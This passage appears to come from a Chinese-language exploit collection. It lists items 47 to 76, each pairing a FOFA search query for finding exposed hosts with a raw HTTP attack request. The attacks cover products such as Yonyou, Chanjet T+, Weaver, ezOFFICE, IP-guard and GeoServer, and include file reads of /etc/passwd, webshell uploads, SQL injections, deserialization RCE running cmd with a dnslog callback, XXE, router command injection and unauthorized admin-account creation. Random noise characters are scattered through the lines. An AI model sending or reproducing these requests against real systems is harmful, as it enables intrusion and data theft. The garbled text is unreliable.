! z" d$ J& e0 h3 t9 x. jAccept-Encoding: gzip, deflate
- t& h3 D9 Q4 H! v3 u- {+ o7 qAccept-Language: zh-CN,zh;q=0.9
# n3 `* h9 x5 V% z8 s$ L- ?: [Connection: close

5 }- l' t- m4 Q
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
/ T2 ?- W+ k1 \+ sUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' i# `0 \! h3 ~" ]1 r. v( |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 M2 I6 o8 H. JAccept-Encoding: gzip, deflate, br
  o$ N* H! G- l+ ]6 O' X! xAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
' s" A3 L5 ~1 K$ a2 W; Z, mConnection: close
3 H0 r) B. A# }! b" X
* d  D; ?( Z! _) b
3 o  W2 q& o+ i- _" Y0 ^: j0 ?& u
48. 用友U8 CRM swfupload 任意文件上传
9 N! y$ ?+ L0 X3 Y# o/ q' S/ P- tFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
  U# R" t7 h; uHost: your-ip
- C% x2 U; @2 G/ l; J; s; HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
2 `, Q5 X4 x' e( K. k) `6 x# AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- {7 i. w4 W4 P- KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: W. J3 }5 `6 m0 c' s1 ZAccept-Encoding: gzip, deflate
9 J- Y$ j% c5 |, @) a% iContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
0 N8 e! R: z9 L------269520967239406871642430066855
* G/ D# x3 H/ B% T, Q6 Z. kContent-Disposition: form-data; name="file"; filename="s.php"
7 W( P# J7 }0 G3 c! f( B1231
$ y  Y" j: i' QContent-Type: application/octet-stream
------269520967239406871642430066855
7 {% Q1 n/ y; K& }" i/ x8 O) ]1 nContent-Disposition: form-data; name="upload"
, E  }! A  o5 X8 t! Z7 H8 z8 M8 z; K  |upload
2 X) `+ q1 t# M/ U: G------269520967239406871642430066855--
1 r! Z( o1 `. ^  b
- I+ j- R+ j; A  A( {4 K
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ x: D0 I  P/ j# P6 D4 D  KConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

; b; y6 J$ y4 K; ]-----------------------------vvv3wdayqv3yppdxvn3w
' y8 J2 k# r) J: pContent-Disposition: form-data; name="file"; filename="%s.php "
6 K' Y7 }, i5 @/ g0 KContent-Type: application/octet-stream
; ^: I" A8 Z4 l+ D
7 u7 w* A* u8 J* J) G2 ^4 @# lwersqqmlumloqa
8 }" K  p- l9 x0 h% h; i. L-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--
6 o  ]7 R& z5 {; P+ {
" j0 g% T1 r+ V* X/ r
3 p/ M, V  O/ ~' n& khttp://x.x.x.x/tmpfile/updB3CB.tmp.php
6 T% E# `9 M* G1 m; @# R
' T. G; O* Z: L50. QDocs Smart School 6.4.1 filterRecords SQL注入
. @  Y/ R9 J% RFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
+ z) K! X( ?5 R* v6 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
2 h" e) d6 M- B+ u2 |# `Content-Length: 224
Accept: */*
! ?6 e" f8 o, ^( v. T0 m9 {  zAccept-Language: en
/ E2 S  Q2 s. d) i! ~6 yContent-Type: application/x-www-form-urlencoded
; b# u" l. ?. o3 G6 M% r. ~; ZAccept-Encoding: gzip
6 p1 L9 U0 y3 q& z( n  A
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


" V- s- f0 A% Y# j! m51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
' M- t4 v# Z7 q7 R7 YGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% o7 I1 }8 |) BHost: your-ip
; g) E% ^4 A0 G4 x9 J3 [User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
6 V+ _! Q8 A3 S% z! }9 a& j* zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 ]7 L1 m+ L8 n( G4 k, @Accept-Encoding: gzip, deflate
3 k; [3 L; s8 [: u" m" e1 s* YAccept-Language: zh-CN,zh;q=0.9
Connection: close


! u- |* K# b5 _52. 泛微E-Office json_common.php sql注入
  H2 F! S1 z. Z9 n& ?# t0 @, aFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
" X5 M3 i* a6 E# d6 u* W! R, C$ rHost: 192.168.86.128:8097
8 i$ m! o- u5 H3 x5 A, v- UUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 J$ r& z, r3 M4 ?2 qConnection: close
Content-Length: 87
Accept: */*
; ^- M- O4 e# k$ TAccept-Language: en
Content-Type: application/x-www-form-urlencoded
8 ^: Z( L7 B  P! g; E- H1 G- z- iAccept-Encoding: gzip
  y  [3 Z! u" ~! \2 Z& z' }5 {. `
& d  m6 K% i+ [9 Etfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
0 f) k1 b- {0 {" D+ m: f3 w$ Y6 v4 |

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
# t1 J; i( R. H
0 M0 D; M' P+ L% v! v8 M: Q# P& Y
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
5 F- ~; ~, N" l" P, p! U' K第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

2 f( F3 C% x1 |( `
% ~4 E  G; \8 s4 t7 ?完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
4 _/ y4 ?; |3 w3 }2 k1 H
{
4 f! |9 {3 M; s: L' @; y"storeID":{
0 |/ O  V0 n; K* Y5 W% s. J: E "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 r. H2 I  @" h9 y "MethodName":"Start",
$ \5 z/ k& [+ C6 E2 I" }2 i: S  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
* v  j5 j7 K: _+ m" I) \% R9 e   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
- J, E8 `9 X5 u* _2 y    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
+ D) @2 @, }) \  T% q    }
) F( f& Z, D& R5 y  }
  }
}


第二步，访问如下url
0 k. r& |3 M+ u0 w9 a2 h/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

" Q) H3 {+ {8 g
( m2 l8 @7 V/ Z, L! D3 Q+ h55. 畅捷通T+ getdecallusers信息泄露
( g. O$ f9 a9 c  XFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
& V! |0 w$ S9 V3 h+ N第二步，利用获取到的Cookie请求
* X' R# I! k+ P1 A" U& \2 R- p/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
) _/ y5 E/ _# a5 N/ f0 T
7 w4 d9 q+ P2 i% X56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) f7 e5 o/ A3 P5 P. D# XFOFA: app="畅捷通-TPlus"
" A: {( X5 ]; w: qPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
5 b1 x/ Y# U+ r+ _Content-Type: application/json

{
  "storeID":{
0 Z# z, e6 x* V    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
7 p' V9 S" r9 j8 C8 X   "MethodName":"Start",
    "ObjectInstance":{
1 z+ V& ]/ o: [       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 T8 @/ }! _# |. F0 A        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
* C7 C5 J, f( t2 _* d7 ]% ]$ W    }
+ \7 U, j) @% c! v  }
}
. U4 q+ ^& A3 n% v
* m, C/ D- |; w. z& S6 T' l$ z0 b/ ]1 ~: ~
; z8 a( P" A7 C6 J! _, g5 N57. 畅捷通T+ keyEdit.aspx SQL注入
) L# l+ m  ~& GFOFA：app="畅捷通-TPlus"
: R$ ?7 P7 o4 r3 Q) rGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
/ N! Z8 q' p1 S1 N7 ~: x* tHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
/ l( @  `5 s9 B0 Y4 O' s  i+ a1 [8 NAccept-Charset: utf-8
: Q' x6 a4 M1 [! X. JAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
8 I3 \' j& }# U# xGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 ?- |/ @: F- g. u# n' oAccept-Charset: utf-8
& \/ [" u' s/ s6 d/ Q- ~1 zAccept-Encoding: gzip, deflate
9 W% ]$ T# m8 B( S  u4 tConnection: close

# [/ Z0 C7 n. s# }, W
5 U& V6 W7 Q$ h& }" t( M6 K59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
  E$ |. n; X+ _FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
3 X) \5 q+ C  M! ?POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ R- J4 F! M/ e% ^Connection: close
1 Q6 S; j8 q1 gContent-Length: 1669
8 T+ @9 Q2 W7 [/ Q0 yAccept: */*
! C3 }1 k0 c! O4 i0 Y9 YAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD

* m4 d) k- Y5 K3 n2 ?* L
60. 百卓Smart管理平台 importexport.php SQL注入
8 b' [$ p, e  [  Y- y0 ^/ r0 |FOFA：title="Smart管理平台"
. M, I' g. [0 v; J/ bGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
) g+ U, q# ]! ]- b( WHost:
" U3 C. g9 _0 x3 u- Y: EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 l; ^9 J) Y9 L1 l: [# e% ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 h: E5 x4 x7 q) A; NAccept-Language: zh-CN,zh;q=0.9
Connection: close

9 \2 V/ ^8 m( B; X' ~% S
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
& ?4 ^1 E4 G2 e, XContent-Type: application/x-www-form-urlencoded
6 d1 K* h1 W6 x6 I0 f2 q
8uxssX66eqrqtKObcVa0kid98xa
5 ~3 J0 M% K% t5 t
3 x" ^% B9 i& G7 L! x: j9 ~
62. IP-guard WebServer 远程命令执行
( D  T, C0 F. H* |& w& z( v# E7 {FOFA："IP-guard" && icon_hash="2030860561"
4 R# c/ C4 h7 d% U& ~GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
- ?' B6 v3 z5 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
4 b8 O; h" s" nConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

! R0 T/ |2 h; a  U- d/ v0 A6 ^
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
9 a$ V/ E& i' ?, O. SIP-guard < 4.82.0609.0
! N' V  \* ]# X0 KFOFA：icon_hash="2030860561"
3 ~; y3 o0 H: @( v# {, m# XPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
" `- Y' R& H" _- g# G5 k2 cHost: your-ip
, [- U1 ^+ F: ]& l+ i# SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% c  k8 k; w9 M; RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- N  B4 n+ D; V1 m, mAccept-Encoding: gzip, deflate
- u1 W% Y2 m/ p" g; g3 [0 o/ \Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! ]3 y/ i4 J7 Q2 \
' w3 _! F- J/ l; c% r% W- Qpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
. o+ D" h) ]1 W/ a3 v4 r
* g! t6 r  O' b5 ]3 ~64. 捷诚管理信息系统CWSFinanceCommon SQL注入
. S3 t% Q/ W" C- x4 ?9 {FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
) @0 F* {$ N' J8 M* Y$ IAccept: */*
3 t( A- z8 {3 F) ^+ @- @$ xAccept-Language: en
4 g& X; \) w4 ]: l! J" p% o: @Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
0 z+ J$ n4 I* f1 C. U/ q0 u
1 {" m+ v, _! S<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ k! E( ~3 _* z6 j* Y    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
/ Z( ?, P' h+ q/ b  l' [  </soap:Body>
/ j9 K- R8 v4 Q) b7 i9 t$ W</soap:Envelope>
* P" c8 m& K  K$ \2 q1 q) Y) g

" T+ }. k. @% `* L' v65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
/ K; u+ V/ c3 W8 j4 MFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
0 e" I0 z0 z- {# W) j. a响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: |4 H  g1 b* R# W1 E* t& YAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Length: 174
+ E3 E/ q/ Q0 d- E% a
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
7 U6 C/ e" i( [7 n) V/ O
/ U, d* x- |0 ~/ V
$ O* q0 G5 K6 h1 T) _( ^66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

# _5 L  t/ Q$ I0 X* m- LGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
* _8 q. s* Y& j: e" [+ H# O; ^1 AHost: x.x.x.x
1 f& R( `  V7 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
5 ^# O7 F8 d" S: VConnection: close
Accept: */*
# F) H) n' p, L! o: ?: Y" _Accept-Language: en
Accept-Encoding: gzip


) i% l! D1 S2 c  K" R第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
/ A) l- V5 D! L3 \% z7 M, eFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. u' S" e" N( O  y/ `POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
! Y6 i; y' k; w* MHost: x.x.x.x
& B* X' W9 A7 J% O& s8 Z3 \User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' h( [* g, D6 r# ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
. f3 A. W1 }3 Y6 E+ J# p- qConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
7 Q9 D; |" t& E- @, {$ P* ?" L
--ufuadpxathqvxfqnuyuqaozvseiueerp
% l4 g- u! `2 xContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
6 A7 k9 @8 U) [0 U7 Z3 C( n# w, K4 y
6 B7 b) I" l$ Y& y4 R<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
7 V1 q: t, `# L( |& o8 `$ g

. ]$ L! |" j8 G3 d: n+ E5 }- }文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
4 v( ?7 b1 Q; x% b3 f4 CGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
0 b8 A- `4 K4 ?; Z! Y: a' i' v% sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
' n9 M0 W7 U: ]

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
- G1 K" `- N  Z5 T5 ^7 R$ WGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
2 m2 f/ F  I* _1 XUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, V3 w! t' g' N& O* z3 A. YAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ A5 ~9 Y4 }( D8 i( U* j
( Z2 G3 q7 z2 \: ~: E( V. y& K. z
70. 万户ezEIP success 命令执行
! ~, V. z* j; `/ @FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
4 |7 h8 N' `! jContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
  s8 A$ t2 N/ C5 B9 f, D$ Q: L" {6 sGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
6 [+ i6 `& h; ^; E/ K9 A: s) GConnection: close
1 j8 Q7 t- h  ]7 h- cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ S+ I+ L3 P! _: R: `; m% xUpgrade-Insecure-Requests: 1
* I7 V$ e$ h0 V3 b

/ @0 {% r- [" t, m; S7 m72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
! Q+ J" }* p- F; z4 ?3 OHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
" R# {; O, F7 wAccept-Encoding: gzip
: @4 X. s$ y3 e. Y1 v/ N3 W& o
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 R' g% u4 }" y
  `: k1 b( n) Q+ k
: U! G5 J! v+ I8 g73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
2 h2 H1 S7 a# @. \' ZContent-Length: 1981
7 O, |# ~* ]' kAccept-Encoding: gzip, deflate
# ?! L# g/ E# T# ]0 g9 ^1 jConnection: close
' ]* `& H) B- {Content-Type: application/xml
SL-CE-SUID: 3

' D+ a4 i3 ]3 X* }0 UPAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
# X  Y# T) z1 Q( W/ X6 FFOFA：title="M3-Server"
PAYLOAD
$ Z0 K/ v8 e4 I
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
& ^! C- x9 h6 G: ]2 G' ?. rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ ]& r4 u  y1 g0 CConnection: close
Accept: */*
Accept-Language: en
' Y# o$ v/ p- C% n/ B4 cAccept-Encoding: gzip

3 V+ }0 O: }; d% `9 B3 o( k
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

7 x6 L( h6 ]" R0 g/ W* Q9 |
5 ^8 [0 F, l( B: F3 x3 V76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
1 J( m# ]! R6 G1 [; [, uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) @/ `3 \8 H( D9 g7 H. }0 C# tContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. b$ V( g* m+ r( g2 @; z, f6 l" fAccept-Encoding: gzip, deflate
- d% ^7 L5 S7 `" h+ Z/ S+ @. nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 g  }) R- I6 d4 _Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
8 w* h- q. U; I' O  U0 K8 R
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
